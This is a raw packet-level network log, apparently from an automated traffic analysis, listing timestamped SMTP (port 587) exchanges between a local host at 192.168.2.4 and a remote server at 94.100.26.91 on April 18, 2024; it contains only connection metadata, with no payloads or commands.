Apr 18, 2024 18:29:22.557061911 CEST	587	49769	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:22.557331085 CEST	587	49769	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:22.557416916 CEST	587	49769	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:22.557463884 CEST	587	49769	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:22.557615995 CEST	587	49769	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:22.557722092 CEST	587	49769	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:22.557790041 CEST	49769	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:22.557790041 CEST	49769	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:22.558454990 CEST	49769	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:22.711345911 CEST	587	49768	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:22.750467062 CEST	49769	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:22.808341980 CEST	49768	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:22.932329893 CEST	587	49769	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:22.932365894 CEST	587	49769	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:22.932450056 CEST	49769	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:22.932450056 CEST	49769	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:22.932568073 CEST	49769	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:22.932626963 CEST	49769	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:22.932653904 CEST	49769	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:22.932703972 CEST	587	49769	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:22.932745934 CEST	49769	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:23.150808096 CEST	587	49769	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:23.265058041 CEST	49768	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:23.312994957 CEST	587	49768	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:23.313051939 CEST	49768	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:23.361613035 CEST	587	49769	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:23.361646891 CEST	587	49769	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:23.361665010 CEST	587	49769	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:23.361679077 CEST	587	49769	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:23.361702919 CEST	587	49769	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:23.361740112 CEST	587	49769	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:23.361826897 CEST	587	49769	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:23.361841917 CEST	587	49769	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:23.361884117 CEST	587	49769	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:23.361942053 CEST	49769	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:23.361943007 CEST	49769	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:23.361979008 CEST	587	49769	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:23.362035036 CEST	49769	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:23.362035036 CEST	49769	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:23.362072945 CEST	587	49769	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:23.362087965 CEST	587	49769	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:23.362123013 CEST	587	49769	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:23.597697020 CEST	587	49768	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:23.765064955 CEST	49768	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:23.783056021 CEST	587	49769	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:23.783085108 CEST	587	49769	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:23.783098936 CEST	587	49769	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:23.783113956 CEST	587	49769	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:24.593621016 CEST	587	49769	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:24.655654907 CEST	49769	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:24.793764114 CEST	49768	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:24.845062971 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:25.253293991 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:25.253384113 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:25.639596939 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:25.639875889 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:25.991235018 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:25.991441965 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:26.345534086 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:26.345980883 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:26.726224899 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:26.726238012 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:26.726279974 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:26.726316929 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:26.727652073 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:27.105524063 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:27.107676029 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:27.474561930 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:27.474961042 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:27.830575943 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:27.830858946 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:28.199289083 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:28.200149059 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:28.566096067 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:28.566304922 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:28.964972019 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:28.965161085 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:29.368299961 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:29.370816946 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:29.370889902 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:29.370889902 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:29.370946884 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:29.374164104 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:29.773864031 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:29.773909092 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:29.773930073 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:29.773941994 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:29.776415110 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:29.776453018 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:29.776468992 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:29.776563883 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:29.776643038 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:29.776675940 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:30.148518085 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:30.358812094 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:30.793540001 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:30.793972015 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:30.794105053 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:31.199975967 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:31.200004101 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:31.200021982 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:31.200155020 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:31.547199011 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:31.547251940 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:31.547280073 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:31.547337055 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:31.917154074 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:31.917212009 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:31.917258024 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:31.917269945 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:31.917309046 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:31.917330980 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:31.917345047 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:31.917387962 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:32.065073013 CEST	49771	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:32.282032967 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:32.282058954 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:32.282071114 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:32.282113075 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:32.282177925 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:32.282171965 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:32.282228947 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:32.282268047 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:32.282324076 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:32.646430016 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:32.646457911 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:32.646496058 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:32.646508932 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:32.646536112 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:32.646596909 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:33.010721922 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:33.010994911 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:33.011059999 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:33.011059999 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:33.077624083 CEST	49771	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:33.357348919 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:33.357388973 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:33.357422113 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:33.357434988 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:33.357456923 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:33.357479095 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:33.357479095 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:33.357507944 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:33.436151028 CEST	587	49771	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:33.436233997 CEST	49771	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:33.703543901 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:33.703588963 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:33.703617096 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:33.703623056 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:33.703655005 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:33.703660965 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:33.703682899 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:33.703690052 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:33.703722000 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:33.703727007 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:33.703744888 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:33.703835011 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:33.801326036 CEST	587	49771	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:33.801469088 CEST	49771	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:34.047599077 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:34.047648907 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:34.047682047 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:34.047714949 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:34.047745943 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:34.047977924 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:34.048618078 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:34.048688889 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:34.049947977 CEST	587	49770	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:34.050024986 CEST	49770	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:34.137705088 CEST	587	49771	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:34.137900114 CEST	49771	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:34.874681950 CEST	49771	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:35.089317083 CEST	587	49771	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:35.092756987 CEST	49771	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:35.874480963 CEST	49771	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:36.177504063 CEST	587	49771	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:36.177788973 CEST	49771	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:36.225358009 CEST	587	49771	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:36.232494116 CEST	49771	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:36.596293926 CEST	587	49771	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:36.596334934 CEST	587	49771	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:36.596354961 CEST	587	49771	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:36.596501112 CEST	49771	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:36.598100901 CEST	49771	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:36.956249952 CEST	587	49771	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:36.960382938 CEST	49771	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:37.312422037 CEST	49771	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:37.315032959 CEST	587	49771	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:37.315099955 CEST	49771	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:37.370034933 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:37.676227093 CEST	587	49771	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:37.676314116 CEST	49771	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:37.677500963 CEST	587	49771	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:37.677548885 CEST	49771	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:37.691051960 CEST	49766	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:37.717137098 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:37.717209101 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:38.038629055 CEST	587	49766	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:38.039203882 CEST	49766	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:38.040853977 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:38.070059061 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:38.070211887 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:38.389739037 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:38.390590906 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:38.417752981 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:38.417949915 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:38.727986097 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:38.730680943 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:38.779934883 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:38.780293941 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:39.084141016 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:39.084424019 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:39.142112970 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:39.142142057 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:39.142158031 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:39.142422915 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:39.144181013 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:39.444097042 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:39.444590092 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:39.491329908 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:39.493925095 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:39.799063921 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:39.799087048 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:39.799141884 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:39.799736977 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:39.801171064 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:39.853295088 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:39.853494883 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:40.128865957 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:40.130631924 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:40.207289934 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:40.207695007 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:40.466743946 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:40.470660925 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:40.597193003 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:40.730381012 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:40.730699062 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:40.797492027 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:40.798111916 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:41.085438013 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:41.085587025 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:41.086322069 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:41.147181988 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:41.147413969 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:41.454229116 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:41.454507113 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:41.516719103 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:41.516906977 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:41.810729027 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:41.811140060 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:41.811140060 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:41.811167955 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:41.811295033 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:41.814750910 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:41.899466038 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:41.899671078 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:42.163487911 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:42.163548946 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:42.163585901 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:42.163604021 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:42.163638115 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:42.163693905 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:42.167253017 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:42.167287111 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:42.167311907 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:42.167361021 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:42.167361021 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:42.167397022 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:42.273056984 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:42.273596048 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:42.273756981 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:42.273756981 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:42.273871899 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:42.275216103 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:42.512732029 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:42.512797117 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:42.514276028 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:42.514312983 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:42.514344931 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:42.514391899 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:42.514448881 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:42.561983109 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:42.667332888 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:42.667351007 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:42.667361021 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:42.667432070 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:42.667462111 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:42.668313980 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:42.669075012 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:42.669126034 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:42.669154882 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:42.669173002 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:42.669220924 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:42.669306993 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:42.669358015 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:42.670512915 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:42.909131050 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:42.909564018 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:43.065229893 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:43.065344095 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:43.065433025 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:43.065522909 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:43.066375017 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:43.066443920 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:43.066468000 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:43.066528082 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:43.066540956 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:43.066596985 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:43.066612005 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:43.066629887 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:43.066832066 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:43.066960096 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:43.066972017 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:43.067065001 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:43.067795992 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:43.067810059 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:43.067878008 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:43.263715029 CEST	587	49772	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:43.263777971 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:43.358823061 CEST	49772	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:43.476222992 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:43.476246119 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:43.476308107 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:43.477055073 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:43.477067947 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:43.477080107 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:43.477157116 CEST	49773	587	192.168.2.4	94.100.26.91
Apr 18, 2024 18:29:43.477340937 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:43.477354050 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:43.477365017 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:43.477560043 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:43.477572918 CEST	587	49773	94.100.26.91	192.168.2.4
Apr 18, 2024 18:29:43.477585077 CEST	587	49773	94.100.26.91	192.168.2.4
